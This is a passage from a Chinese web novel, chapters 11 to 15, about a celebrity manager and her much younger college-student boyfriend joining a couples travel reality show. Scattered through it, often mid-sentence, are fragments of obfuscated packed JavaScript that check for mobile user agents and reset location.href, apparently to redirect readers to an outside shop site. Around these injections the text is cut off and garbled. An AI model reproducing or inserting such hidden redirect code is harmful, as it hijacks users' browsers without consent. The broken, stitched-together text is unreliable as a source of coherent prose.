“他比我想象中成绩好耶,”牧阳笑了,指了指晏川对姬慧说,“西京高考比东海难。” “东海也不简单!”姬慧急了,“西京难的是数学,东海难的是综合!我高中也是暗无天日的!” “好了好了,你们都是很辛苦的小朋友,”牧阳摆摆手,“吃蛋糕,都解放了,别争了。” 姬慧恶狠狠地嚼麦芬蛋糕,不说话了。 牧阳盯着晏川的脸:“怎么了?一直盯着我,有话要说吗?” 晏川这才错开视线。 “我们只谈了一个月,而且聚少离多,对彼此不够了解是很正常的。”牧阳若有所思地看着手里的蛋糕,“不用纠结于记住了多少信息,保持自然是最重要的。姬慧,你要记住,我们的选角提前一个月就开始了,我和他谈了不到一个月的时间。” “我听说你们确认关系是……” “才听说。”牧阳报出她和晏川实际见面的第一天,“这个日子我和晏川记住就够了,你记得就记,不记得就算了,因为对你来说就是‘最近的事’。” 姬慧比了个手势,示意自己明白。 “吃得差不多了吧?”牧阳说,“你先送小川回学校。黄大哥已经在来的路上了,你送他到学校之后,直接开车去基地和我们汇合。” 姬慧立刻起身开始收拾东西。 “这些交给家政就行了,”牧阳摆手,“快去吧,别耽误他的课。不对,你是不是上午本来有课来着?” “没有,”晏川连忙说,“教授临时调课了。如果有耽误我会和你说的。” 牧阳斜眼瞅着他:“好好上课,好好写作业,不许被爆出任何塌房的事情,不然……不然罚你一个月不能吃巧克力。” 姬慧没忍住笑出声了。晏川却很认真地点点头:“我保证。下次见。” “下次见。”牧阳朝他挥挥手。 “收工。”于利春发话。 工作人员纷纷开始收拾器材,于利春本人也连忙起身和江百川握手。 昨天看到牧阳身边的那个小男朋友,今天再看江百川,真的很容易产生恍惚感。他俩确实有点像,但是这种像甚至不来自于五官,是神似而非形似,只要镜头一对焦,立刻就会显现出不同。 牧阳的那个小男朋友是很帅的,这毫无疑问。 但是在镜头下,江百川神态自若,举手投足中散发的魅力是无与伦比的。首先,他在镜头内外的表现不会有分别,一切都是自然而然的;其次,他非常懂得自己的魅力在哪里,所以他会放大自己的优势。 之前牧阳给他定下这个通告也是为了捧他,给他完善人设。这一点的基调没有变,所以江百川在前采里尽可能坦诚地表达了自己的遗憾和困惑:“我只有通过表演,对角色共情来体会他们的情感。我现实中并没有谈过恋爱。我更难想和恋人一起去旅行。我们的工作时间不规律,我是说,要两个人都凑出时间来的话,肯定很难。” “那么不考虑和恋人旅行,考虑过如果有条件的话,会找一个什么样的恋人吗?”于利春问。 “你还是问我有条件的话,会一个人去哪里旅行吧!”江百川摆出讨饶的手势,无奈道,“我都想好了,就差时间了!” 总体来说,还是一次相当愉快的合作。 于利春很满意,开局顺利对士气很重要。 “于利春,”江百川忽然叫住了她,“感冒好点没有?我看你上个星期的朋友圈,你说你阳了。” “哦,你放心,绝对放心,我那个不严重,早就退烧了。我们团队都排查过了,大家都没问题。”于利春压低声音,“那个只是权宜之计啦,前段时间汪总找我。” 江百川懂了,他点点头,也跟着压低声音,笑道:“我懂。拍摄辛苦,我们先走了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992402|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯嗯,下次录制再见。”于利春连忙送客。 六六晚了一步,把桌上的充电宝递给于利春:“小春姐,你的。” “哦!谢谢。”于利春连忙道。 “不客气,”六六笑得开朗,忽然八卦似的低头嘀咕,“小春姐,我听说节目上,牧姐和她那个小男友真来啊?” “……怎么了?”于利春没有正面回复,“这消息你从哪里听来的?谁告诉你的?” “哦,没什么,没人和我说啊!别错怪你团队的人,”六六连忙道,“我啊,就问问,毕竟上次在听海楼下遇到她们了。” 于利春这才放松地笑起来:“这样啊,那天真凑巧。” “是巧!唉,就是不知道她那个小男友线下真人长什么样,”六六状似感慨地说,“嘿,我听说,才二十岁呢。” “二十岁不小了,圈里谈十八岁的又不是没有。”于利春意有所指。 六六一副八卦样。于是两人又聊了有小一会,六六听得一会啧啧称奇,一会大吃一惊,最后才长长一声叹气,扯回话题:“我说实话,我看到那个博主贴出来的照片,一开始真以为是牧姐和百川哥!哦,确实不是他俩,你别误会啊!说出去我就完了,千万别说出去,也别说是我说的。主要牧姐怎么能找个和百川哥这么像的人,你说是不是?小春姐,这是不是《甄嬛传》里演的那个……” “菀菀类卿?!”于利春恍然大悟,又摇摇头,“但现实中确实不一样。” “牧姐什么人呀,她心思那么深,喜欢谁,难道还能明目张胆吗?百川哥也是要体面的人,对吧?听了暗示也只能装不懂,唉,”六六好像是突然反应过来自己说了啥,急得几乎要原地起跳,“哎呀小春姐,你千万别听我乱说!我都是胡说的,哎呀,我真是跳进黄河也洗不清。” “没事没事,不都是推测么,再说了,你也说你没见过他。”于利春安抚他,正要再问几句,有人来催。 六六急忙告罪:“我可不敢拖累百川哥的脚步,姐我先走了,过两天联系哈。” “嗯嗯。”于利春送走六六。她点开手机相册里储存的接吻照截图,又看向桌子上江百川当封面的杂志,若有所思。 “哥,你的意思我已经传达给小春姐了。”上了保姆车,六六连忙和江百川汇报。 江百川点点头,一句话也没说。 六六摸不准江百川的态度,也没敢问,直接拿出行程表,开始准备沟通下一项行程。 “李铭运,我渴了。”江百川忽然说。 一旁毫无存在感的男人连忙给他找水。 六六反应更快地递出一瓶,江百川没接,而是喝李铭运给他的。 “想办法提前拿到他们这些‘旅行情侣’的录像,尤其是她那个小男友全程的各项妆造。”江百川侧目,“一定要提前拿到,然后立刻发给薇薇安,让她去设计。要两套完全不同风格的,一套一样的。” “还有吗?”六六速记。 “要比他的好看。每一套都要比他的好看。”江百川说。 12. 【十二】 “我就这么穿吗?”晏川有些不确定地问牧阳。他的手下意识想去捋额前的刘海,手立刻被牧阳拍掉了。 “别动发型!发型才是造型之本,认真打理好的发型就不要变。再说了,你是大学生,就该这么穿。”牧阳说,“不是你把你平时衣服的下单链接都发给姬慧看过了吗?没问题,都是国产品牌,而且很平价,很符合你的身份。” 晏川欲言又止。 牧阳拍拍他的肩:“我又不是大富婆,我刚和你谈,怎么可能有时间给你购置行头?说得好像我有时间有钱就会这么做一样。” “不会吗?”晏川竟然问。 牧阳愣了一下:“你想要?” 晏川老实地低头:“我想你帮我搭配衣服。” 牧阳想了想,很诚恳地拍拍他的胳膊:“我会请造型师的。” 晏川没想明白牧阳的话的意思,但没时间了,制作组已经上门。 于利春没来,来的是她的副手,刘俊超刘导。 “刘导来了!”姬慧热情招呼,但人只站在门口,“牧姐和小晏同学都在家里呢。” 刘导笑道:“牧姐,今天登门拜访没带什么东西,还带来了一大帮人,真是对不住。” 牧阳也跟着笑:“哪能呢,刚好我也算乔迁新居,你带人来热闹热闹,多好。别介意,直接进来就好了,到时候再统一请人打理,不妨事的。” “我们就在客厅拍,不往里去。”刘导承诺,他余光扫到餐桌旁倒水的人影。 牧阳立刻会意,扬声道:“小川!来见见刘导,一会要录制了。” 实际上已经在录制了。 但是没有人会点破这一点。 晏川听话地走上前,颇有礼貌地提着水壶,给导演递水,好像也准备给其他工作人员递水。 牧阳赶紧拦下他:“别别,水容易碰到机子。你去冰箱里拿瓶装水给大家分。” “嗯!”晏川立刻会意,往厨房里走。 刘导这个时候才示意跟拍大哥上前:“这就开始录了,牧姐,这两位负责跟拍您和小晏。” 牧阳点点头,认了认人,朝着镜头微笑打个招呼。 后期都会剪,面上带笑总是没错的。 她侧头明显想等晏川出来,就这么靠在桌边,神态闲散放松,确实是在家里的样子。刘导往后退,示意一旁的编导小姐姐上前,给牧阳递节目组的资料卡。 在拍摄前,牧阳早就带着晏川确认过整套节目的台本流程,大致会有的环节都是清楚的。当然也有惊喜环节,只会划定大概范围,不一定抽到什么项目,也有可能做临时改动。 事实上他们作为素人组每期需要贡献的素材也就是不到三分之一的量,重要内容还是由那几个艺人扛着。 所以她拍着他的肩膀说放松,就当玩就可以,少说话,多听吩咐多做事。 多说无益,反倒显得刻意冷情了。 “……‘为期一周的旅行’,我对这个综艺企划一直很有兴趣的,”牧阳念完冠名商赞助,对着来递卡的编导小姐姐笑,“但是我们家那几个艺人,单身的单身,单身的单身,单身的单身。” 她状似随意地摊手,夸张地表达无奈:“他们想来也来不了,没想到还是我先来了。哦对,下次让你们去开发一个‘朋友版’的一周旅行,我就把我家那几个全派过去。” 那才好看呀。粉丝爱看那个。 “那就靠牧姐给我们拉投资了。”编导小姐姐笑道。 牧阳笑笑,她听到厨房的脚步声,立刻转过头。 晏川抱着两箱饮料走出来,一下子满屋都是夸张的“哇”声。 牧阳直起身,过去帮他拿了几瓶,随手就近开始分发,一边发一边对镜头说辛苦了。 晏川有样学样,牧阳还在他身边小声和他说话:“录制开始了。注意你的言行举止,还有这两位是跟拍的大哥。” 摄制大哥当然接不了水,晏川立刻把这两箱沐阳娱乐艺人代言的饮料摆到旁边。 牧阳招招手,于是晏川走到她身边,从身后低头凑近看她怀里的手卡。 看起来很亲近的样子。 而且晏川目前的表现都很乖,他凑在牧阳怀里的样子像把嘴筒子拱到主人裤腿边的小狗。 牧阳随手揉了揉他的头发:“这是我们的第一个任务:出发前的小准备。每个人只能带七件东西装进行李,在之后的旅行中,我们可以对自己的装备进行补充,或者取舍,但是不可以通过任务以外的渠道。” 晏川瞪大眼睛看向牧阳。 是的,这个人几分钟前,刚刚告诉他一定要记得保护自己的发型。 “瞪我干什么?自己的行李自己收拾。”牧阳丢开资料卡,说着就要走到一边。 晏川揽住她:“等等。” “嗯?” “这七件物品,我们是不是应该一起收拾?”晏川指了指资料卡,“共同完成任务。” 两人对视一眼,牧阳立刻看向镜头:“……该不会这一次,还让我们丢行李吧?上一季已经玩过了,这一季我们可不会上当!” 《为期一周的旅行》不是第一季举办,前几季的名场面很出圈,牧阳也带着晏川简单过过一遍。 之前节目组就让嘉宾收拾行李,结果后面马上因为问答环节不过关,行李不得不一件一件地被扔掉,害得一对小情侣天崩开局,差点在节目上反目成仇。 得到了节目组的保证,牧阳还是不放心,戳戳身边晏川的胳膊:“把你的行李箱先拿出来。” 晏川依言照做,他从客厅角落里拎起自己的行李箱,轻轻放在茶几上。牧阳指挥他打开行李箱。 “哇!”这次惊叹的轮到牧阳了。她这次是真的惊讶了,不可思议地转头看向身边恋人:“这是你自己收拾的行李?” 太整齐了,简直像强迫症。 晏川有些不好意思地解释:“有些东西是临时买的,还有这个自拍杆,其实是室友借我的。” 他甚至补充了一句:“我室友是个博主。” “第一次听说。”牧阳面无表情地补充了一句,接着毫不犹豫地抓起他叠的整整齐齐的衬衫,毫不犹豫地抖开,然后在面前的晏川身上比划一会,“还没看你穿过这件。不过一套换洗衣物就要占掉四件行李,我只能以后再看你穿这个了。” 晏川把两只手打开,配合牧阳提袖子的动作比划。 牧阳比划完了,直接把衣服扔到晏川怀里,继续挑下一件:“你叠好,放起来。” 跟拍大哥单独跟过去,拍晏川整理衣服的特写。他好像是真的会规整的衣服叠法,弄得一丝不苟的。牧阳只是好奇地望了一眼,接着就专注地研究起晏川的行李了。 “洗漱包……这个可以算一件吧?”牧阳抖了抖半透明的黑色洗漱包,开始和导演组讨价还价,“我们是去旅行又不是荒野求生,男生爱干净很正常的,你不让他带,到时候变邋遢了怎么办?” 其中一个编导姐姐对她比了手势,意思是要算成两件。她见好就收,立刻把洗漱包码好放在一边:“这个必须要,那么还有一件,选什么好呢?” “不知道你们这次会把目的地选在哪里。”牧阳头疼地扶额,“这个时候,北方已经很冷了吧,南方又那么热……” 她眼睛一亮,从行李箱里挖出一件叠好的冲锋衣,拿出来摸一摸,发现还有内胆! “太好了。”她毫不犹豫地拿起这件冲锋衣,递给一边的晏川,“披上。” 晏川一起身就看到一件冬季冲锋衣:“嗯?” “万一去了北方,穿这个就不冷。”牧阳掰手指,压低声音,“你现在披上,穿在身上的衣服,他们不会算的。” 晏川点点头:“你再放两瓶藿香正气水到我口袋里。这样也不会算的。” 牧阳不确定地:“那我们是不是……” 十五分钟后,牧阳换了一身全身都是口袋的行头,头上还戴了一副墨镜。 她给摄像镜头展示自己的衣兜:“手机、充电器、充电宝,纸巾、卫生巾、酒精湿巾,这里还能塞两根橡皮筋。还有小镜子和小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏川看看牧阳,小声道:“我有一个很不好的办法。” “什么办法?”牧阳立刻凑过去小声密谋。 “太阴了。”晏川摇摇头。 牧阳:“试试。” 于是,晏川在众目睽睽之下,提起这件裙子,慢慢围在自己的肩上,像围一条围巾。 牧阳看愣了,摄制的人似乎也都惊呆了,整个屋子安静得能听见加湿器的呼吸。 晏川:“……抱歉。” 牧阳:“还得是新脑子,好用。” 她立刻把自己的裙子夺走了:“我看这件还是不带了,我想想,我们还是带点实用的东西吧。” 晏川同意了,两人凑在一起列了个清单,最后取舍了一下,把一些类似棉签、创口贴的东西都放进了晏川的口袋里,在节目组的阻拦下,最后放了一把雨伞到行李箱里。 “这样就万无一失了。”牧阳满意地伸出手。 晏川配合地击掌,又保持着两手平举的姿势,看着她:“你没有洗漱用品,到时候怎么办?” “去买呗,或者做小游戏换。”牧阳无所谓道,“据我所知,这种东西一般还是比较好买到的。没关系,我只需要一把牙刷就够了,牙膏可以用你的。” “好。”晏川点头,“是有点凉的薄荷味。能接受吗?” 牧阳凑近了闻一闻:“就是这个气味吗?你今天早上刷牙的味道。” “……对。”晏川有点不好意思,“我刷完牙顺便收起……” 牧阳吻住了他接下来要说的话。两人吻在一起,她的表情很沉浸,他有些不确定,回应带着一点小心翼翼,显得有些青涩。 她睁开眼才发现他没闭眼睛。 “挺好闻的。”牧阳说,“嘘,别说话。” 他们额头抵着额头,安静了一会,她才看向镜头:“我们是不是该走了?” 13. 【十三】 于是导演组的人反应过来,让他们离开。 牧阳检查了门窗,晏川帮忙拉电闸。牧阳夸他贴心。 两人上了节目组的车。摄像机短暂地关闭了,导演组说明等会要坐飞机到目的地,到达目的地之后会有一个新的互动环节。等全部节目组嘉宾汇合后,会补录这次先导部分的前采,顺便录制“旅行第一天”的后采。 预计的录制完成时间是夜晚十二点。牧阳估计两点能收工。 “我们先睡一会。”牧阳说,又瞥了晏川一眼,“飞机上也记得睡。接下来每天都会录到很晚。” “我们会尽早收工的,牧姐。”节目组的人立刻说。 “但愿如此吧。”牧阳闭上眼睛。 晏川侧头看了她闭目养神的侧颜好一会儿,才跟着睡去。 果然一到接机口,节目组的摄影机就已经等在那里迎接他们。 牧阳环顾一圈,十分感慨道:“没想到会来这。幸好我们都是长袖长裤,不然虫子会把我们咬死。” 稻溪。 牧阳从小长大的地方就在这里。 小小的村落坐落于一片河谷,周围群山连绵,云开雾散时太阳会从黑色的山的背面冒出来。那个时候,所有的田地都是金色的,稻穗睡在水田里,她去追村口的大黄狗,一直从这头跑到那头。 再次踏足这片土地,她的心情算不上好。节目还在录制中,她只好保持商务微笑,很给面子地再念一次广告,还特意感谢了赞助商提供的防晒产品。 第一季好歹是海滨度假小屋,第二季就下乡跑到真农村来干活了,节目组这次招商不应该经费更充裕了吗?好歹选个有代表性的外景地吧,草地、雪山脚下、古城都不错啊,至少有说法。 “你们需要先完成限时问答任务,获取你们的初始资金。接下来包括到达小屋的出行工具在内的一切,你们都要用你们得到的这笔‘旅行经费’来换取。”导演亲自下场发布任务。 “来了来了,又是这个环节。”牧阳伸手要去牵晏川,晏川没反应过来慢了一拍,她松开手,跟着导演往前走了。 晏川跟上,又默不作声地去牵她那只手,但是两次都没有牵到。牧阳完全没有发觉,她侧头问晏川:“你准备好了吗?” 默契问答。 晏川顿了两秒,问她:“可以把你的手给我一下吗?” 牧阳不明白地递出自己的手。 晏川捏住她的手握了一下。 “好了,”他深吸一口气,点点头,“开始吧。” 于是导演开始读题:“草莓还是蓝莓?” “草莓!” “草莓。”晏川跟着说。 “慢了,这题作废。”编导立刻给了一个大大的叉号。 “火锅还是烤肉?” “火锅!” “烤肉!” 编导又给了一个叉。 “游乐园还是动物园?” “游乐园!” “游乐园!” 重合了! 两人拥有了第一个勾号,互相对视一眼,眼里都浮现笑意。 他们不敢耽搁,立刻示意导演继续答题。 “真心话还是大冒险?” “真心话。” “真心话。” “读心术和隐身术更想要哪个?” “读心术。” “读心术。” “陪伴重要还是新鲜感更重要?” “陪伴。” “陪伴重要。” 两人越答越快,可是导演问问题的声音始终不紧不慢,保持着让人心焦的原速。 “更倾向于直接说‘我爱你’,还是用实际行动表达?” “我爱你。” “我爱你。” “在人类的各种情感之中,亲情、友情、爱情这三种感情里你们认为哪一个更重要?” “亲情。” “爱情。” “时间到!”导演叫停,“一共答对五题,初始资金一共五百元。” 牧阳下意识转头看晏川。她愣了好几秒,才说:“你为什么会觉得爱情更重要?” 晏川反而用一种懵懂的,困惑的神情反问:“你觉得亲情更重要吗?” 牧阳笑笑,对他招手:“导演叫我们呢。快,把资金领了,我们出发去小屋。” “嗯。”晏川跟着她走。 “你们这个专车竟然要一百元?”牧阳摇头,“太贵了,让我们看看其他通勤方式吧。” “先到达小屋的情侣可以优先挑选房间哦。”导演组贴心提醒。 晏□□通车只需要八十。” “我们自驾行不行,把车租给我们,四十。”牧阳立刻开始和导演讲价。 编导们:“……” 刘导:“六十,不能再少了。” “五十,把车租给我们。” “要是我们就不租呢?” “那就不租了。”牧阳笑了,“我们骑共享单车过去。给你十块,你把我们的行李箱托运过去。” 刘导婉拒了,最后五十五元让牧阳和晏川自驾去小屋。 晏川跟在牧阳身边:“有你在,有一种预算花不完的安心感。” “哎,这种话不要乱讲,”牧阳说,“我们此行必将顺利。哦对,我刚刚已经付出了颇有价值的劳动,现在轮到你出力了。去开车。” “遵命。”晏川说。 车上也有摄像头。 晏川下意识地问:“要放点音乐吗?” “没有版权,我们只能放点古典音乐。”牧阳说,“为了后期效果,我们还是不要放音乐了。” “嗯,要照顾后期组的大家。工作人员们辛苦了。”晏川对镜头招手。 牧阳抱臂看着他和镜头互动,笑着说:“好乖啊。” “我一直很听话啊。”晏川说。他嘴角微微勾起。 “嗯,”牧阳不置可否,“爱情在你眼里就真的比亲情和友情还要重要吗?” 晏川侧头看了她一眼:“不如从头问起吧。” 牧阳顿了一下。 “你喜欢草莓还是蓝莓?” “都一般。”晏川说,“你呢?” “草莓吧。”牧阳说,“不过蓝莓也不错。第二个问题是什么来着?” “火锅还是烤肉,”晏川复述,“我们都选了火锅。” “其实现在这个季节还是烤肉舒服。”牧阳叹了口气,“真是让人饥饿的问题,我好想吃东西。” “我同意,”晏川点头,“不管是什么,感觉等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好啊。”晏川欣然同意,“我也想去。” “不过那要很久了,”牧阳说,“我的工作假期很少,你也有课,而且快毕业了,也挺忙的。有什么想做的事,要是这次旅行能做,我们就顺便做了吧。” 红灯了。 两人之间骤然沉默下来。 牧阳有点不太适应这种沉默。这让他们刚刚营造出来的亲密气氛瞬间消散,陷入尴尬。 “其实这次能和你花这么多时间相处,”晏川说,“我已经很开心了。能和你说很多话,我很珍惜。” “我有点武断,”饶是牧阳,这回也有点不好意思,“要是有你觉得不舒服的地方,提出来。” “我知道了。”晏川什么也没提,“把剩下的问题回答完吧。” “其实你是发现了……” “抱歉。”晏川道歉,“我知道,但是最后一题,我不想违背自己的本心。” “……或许我也不应该违背本心。”牧阳思考了一下。 “那,你想选什么?”晏川的呼吸有点紧张。 他甚至有点不敢看身边的牧阳。 “……我选友情。”牧阳说。 晏川好像没听见一样,很久没有应答。 牧阳开始觉得有点困。 “好。” 她听见他说。 14. 【十四】 晏川把车停在小屋门口的时候,天空已经开始趋近于黑色。拍摄用的强光灯照亮屋前的一片地,一群人走动的脚步声已经体现出屋里的热闹。 牧阳一乐:“里面有人了。” “我们难道是最后到的?”晏川也很好奇,跟着牧阳一起进去。 两人一进屋,就撞上一个面孔深邃,有着一头茶金色卷发的男人。 他开口却是纯正的普通话:“你们好,就等你们了。” “你好!”牧阳没有上前,但是笑容变得热情了,“你是模特吧?这么高的个子,这么好的身材比例。你的气质也很出众!” “谢谢,你的眼光真好,”他自我介绍,“我叫姚柯叶,之前确实是一名模特。现在,我是一名演员。请多多支持!” 牧阳很捧场:“我看过你演的电视剧!最近上映的电影,你在里面扮演了一个叫约翰的宝石商人,对不对?” “就是我!谢谢你记得。” “哇!你们来了!”有一个声音插进来。一个长相甜美的年轻女孩探出脑袋,很高兴地朝着牧阳和晏川挥手,目露惊艳:“天,帅哥!” “哎,怎么人家就是帅哥,我不帅吗?”姚柯叶立刻不满地瞪回去。 “你当然很帅,宝宝天下第一帅!”她立刻踮起脚去摸姚柯叶的头,姚柯叶低下头给她摸。 两人的身高差很大,看起来还挺萌的。 “很高兴认识你,我是牧阳,这是晏川。”牧阳上前一步。 “牧姐!我早就知道你了,我超级超级崇拜你!”甜妹星星眼道,“我是池知夏,大家都叫我夏夏,你们也可以这样叫我哦。” “很高兴认识你哦,夏夏。”牧阳配合道。 “你好。”晏川言简意赅。 池知夏用手在脸颊边比了个心,拉着姚柯叶的胳膊往里走,边走边朝里面喊:“牧阳姐姐和晏川哥哥来了!” 晏川很小声地嘀咕:“我都成哥哥了?” “你不看选秀综艺?池知夏今年刚上大学,比你还小两岁呢。”牧阳小声提点他,“不过姚柯叶我记得年纪比你大一点,反正大家都挺年轻的。” “谦谦姐姐在我心里永远年轻漂亮。”晏川说。 牧阳拍了一下他胳膊,没理他这句话。 “既然你们来了,那我们终于可以开饭了!”长相明艳大方的美人手里拿了一把筷子,看到他们,立刻给他们递筷子,“安排了火锅,鸳鸯锅,大家都能吃。” “沈蔷薇?!”牧阳装惊喜似的,“没想到你在这儿!” “牧阳!天呐,上次见你还是在东海,我们一起参加紫玉兰开幕式。”沈蔷薇立刻发完手上的筷子,走过去和牧阳抱在一起。 牧阳认真看着她的眼睛:“宝贝,你太了不起了。过去一年你都在辛苦拍戏,我想约你见个面都做不到。” “你也很忙,亲爱的,”沈蔷薇叹了口气,转瞬又笑了,“不过这样也好,我们又见面了。还没见过你家这位呢,来,让我看看小弟弟。” “这是晏川。”牧阳放开沈蔷薇,自然地拉过身边的男朋友,又探头看了一圈,“怎么没见你家老贺?” “他切西瓜呢,喏,这不就来了。”沈蔷薇往里面一指。 “哈哈,老贺!”牧阳扬手。 看起来是在场年纪最大的男士,颇有大叔风范的老贺端着一盘切好的水果放到桌上:“来,吃西瓜!” 沈蔷薇刚官宣这位今年刚满四十七岁的导演时,舆论对她的评价其实是比较负面的。究其原因,还是两人实力地位不匹配。导演贺平很有才华,履历也很不错,早年拿遍国内外艺术大奖,上一部作品更是票房上亿的商业佳作。 而把他泡到手的沈蔷薇,虽然已经二十八岁,但手上的作品并不多,唯一拿得出手的代表作就是贺平上一部商业片里的女主角。但那是一部男人的权谋戏,沈蔷薇演的不过是一个视觉符号,男人争抢她,和争抢玉玺没有什么区别。人们总是忽略美女的演技,何况这还是美女演美女。 虽然按照牧阳个人的看法来说,完全是公关问题。不过别人的家事哪轮到她这个外人评论,更何况如今的沈蔷薇身价大涨,资源不断。 不过,靠男友发家的舆论还是给这位女明星留下不少阴霾。私底下,小春和牧阳谈到沈蔷薇,早已默契地达成共识:沈蔷薇急于证明两样东西,一个是她自身的水平,一个是她和贺平之间深厚的感情。 这个节目是非常好的机会,所以她一定会来。 既然这里见到的是沈蔷薇,还有一个偶像出身的小艺人,那就不知道小春提到的温言团队是没接洽好,还是转了观察嘉宾方向了。 牧阳只是看了半圈,就收回神色,微笑且略带歉意地张罗大家:“不好意思,让大家等我们。赶紧来吃火锅吧!” 综艺录制都要很久,更何况今天舟车劳顿,即使是需要身材管理的池知夏都没客气,大家都坐下来准备吃饭。 大家先干了一杯,留下颇有团建意味的影像,再开始吃饭。 “牧姐、蔷蔷姐,你们知道吗?这个火锅,竟然还有来头呢!”池知夏忽然说。 “哦?”沈蔷薇立刻好奇地接话。 “你们也做任务了吧?”池知夏说,“默契问答里面有个问题,火锅还是烤肉?” “我选的火锅。”沈蔷薇立刻说。 “我和小川也选的火锅。”牧阳反应过来,“你的意思是,我们选火锅的人多,所以这顿饭,被节目组定成了火锅?” “没错!”池知夏自信满满地说,“我刚刚问导演了。所以我估计,这几个问题,都有点来头。” “有说法。”沈蔷薇跟着笑。 “你们在说什么?”姚柯叶凑过来问,顺便把一个鱼籽包夹到了池知夏碗里。 池知夏肉眼可见地僵了一下,接着用筷子戳中鱼籽包,叉着它竖到两人中间:“我们在说——女人说话,你少插嘴。” “你算什么女人,你是我的小女孩。”姚柯叶说。 “你!”池知夏气急败坏,要挠姚柯叶。姚柯叶揽着她,笑着咬掉了池筷子上的鱼籽包。 “年轻人真腻歪。”牧阳八卦地看了一眼,和沈蔷薇点评。 沈蔷薇斜睨她一眼:“你以为你是观察嘉宾啊。” “可以吗?”牧阳笑问,“你和老贺也亲一个,我看看。” “滚吧你。”沈蔷薇忽然想到什么,“对了,你俩……谈了多久了?” 她这声有点高,池知夏也听到了。池知夏还以为沈蔷薇是在和她说话呢,大大方方道:“我们谈了三百七十七天!” “那你们谈的天数要在拍掌的时候跳过了。”沈蔷薇调侃道。 池知夏还想接话,沈蔷薇又问牧阳:“说啊,我问的是你。” 牧阳盯着她看了两秒,顿了一下:“不到一个月。” “……这么短?!”池知夏吓了一跳,“这么短就来参加节目了吗?” “我也不知道啊,节目组邀请我们来的。”牧阳两手一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992405|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊,一副无奈的样子。 “是吗?”贺平突然说,“我看你身边这个小伙子可不是这样想的。” 晏川捞肥牛的手一顿。 “人家怎么想的你又知道了,你有读心术啊?”沈蔷薇调侃贺平,“喂,小伙子,你觉得我们牧姐怎么样?” “我喜欢她。”晏川终于接话了。 “哟,人家说喜欢你呢。”沈蔷薇侧身看向牧阳,“没什么表示?” “肥牛不要煮这么久会老的。”牧阳夹走晏川勺子里的肥牛,又夹了点蔬菜放到晏川碗里,“有什么想吃的和我说。” “嗯。”晏川点点头。 牧阳这才瞪了沈蔷薇一眼:“人家有名字,晏川。不要一口一个小伙子,尊重点。” “哎哟,这就护上了!”沈蔷薇戳戳身边的贺平,一副“亲爱的,你看她”的撒娇相。 “认识一个月,”贺平竟然还真来找麻烦,“那你知不知道你姐姐她都有哪些前男友啊?” 桌子上的所有人都看了过来,大家忍不住去看晏川和牧阳的表现,池知夏隐晦地看了一眼贺平。 晏川放下筷子:“我和姐姐是认真的。不要总是调侃我们。她是我的初恋,这就够了。” “哇!”桌上的其他人都配合地惊叹。 只有牧阳遥遥朝着贺平啧了一声:“老贺你少挑事。信不信我明天就给蔷薇介绍个好的,让她甩了你。” “你们瞧,她多幼稚。找个小的刚刚好。”贺平说。沈蔷薇打了他胳膊一下。 牧阳安抚地牵住晏川的手腕。她低声对他解释:“老贺他人就这样。你不用介意,忽视就好。” 晏川点点头,轻轻“嗯”了一声。牧阳放心下来,继续这顿社交破冰饭局。 “蔷蔷姐跟贺导谈了很久了吧。”池知夏找话题。 沈蔷薇愣了一下,立刻笑了:“是啊,三年多了。不过没有你们记得那么清楚。” “我们认识得更久,”贺平那张表情变化极小的面瘫脸忽然转向池知夏,“你们俩认识多久了?小池和小姚?” 池知夏和姚柯叶都愣住了。 “他俩一个公司的,估计就是入职之后认识的。”沈蔷薇说,“人家小情侣怎么认识的关你啥事,你光顾着进组了知道什么。” “老贺最近筹备了一部新片吧,我记得是《传奇主妇》。”牧阳说,“我记得你也在里面扮演了一个角色。” “确实!虽然我不是女主角,但是我也承担了很重要的戏份哦,虽然要在这里卖个关子。”沈蔷薇立刻朝镜头摆了个造型。 “我一定会多多支持蔷蔷姐和贺导的新片的!”池知夏立刻说。 “没错,我们到时候一起去支持!”姚柯叶立刻牵住池知夏的手,表示他们是一起的。 “挺好,”贺平的小眼睛微微眯起,“谢谢大家捧场。下部电影拍摄,你们有空,邀请你们来客串。” “真的吗?!太好了!”姚柯叶喜形于色,甚至想拉着池知夏击掌。 贺平看向一边的晏川:“小……小晏,你没兴趣?” 晏川微笑着没回答,看向身边的牧阳。 牧阳纳闷:“喜欢就接,不喜欢就拒绝,看我做什么?” “谢谢贺导,”晏川说,“不过我对拍戏没什么兴趣。” “那你对什么有兴趣?”贺平盯着他,“没有作品,当个流量不是长久之计。” “谢谢,我没打算出道。我的志愿是一直留在牧阳身边。”晏川说。 15. 【十五】 